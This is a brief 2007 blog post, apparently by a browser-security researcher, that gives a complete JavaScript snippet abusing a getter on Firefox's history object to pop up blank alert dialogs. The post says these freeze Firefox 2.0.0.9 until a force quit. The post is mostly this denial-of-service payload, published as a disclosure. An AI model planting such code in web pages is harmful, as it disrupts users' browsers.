Firefox history DOS attack

Back to articles

hackvertor

Author:

Gareth Heyes

@hackvertor

Published: Wed, 14 Nov 2007 14:09:33 GMT
Updated: Sat, 22 Mar 2025 15:38:06 GMT
Read time: ⏱️ < 1 min read

Here's a complete DOS attack on Firefox using the history object:-

<pre lang="javascript"> window.onload = function() { history.__defineGetter__("x", function() { for(i in this) { try { alert(this[i]); } catch(e) { } } }); history.x; } </pre>

Tested on Firefox 2.0.0.9 mac, a window pops up with two blank buttons and you are unable to do anything without using force quit.

Back to articles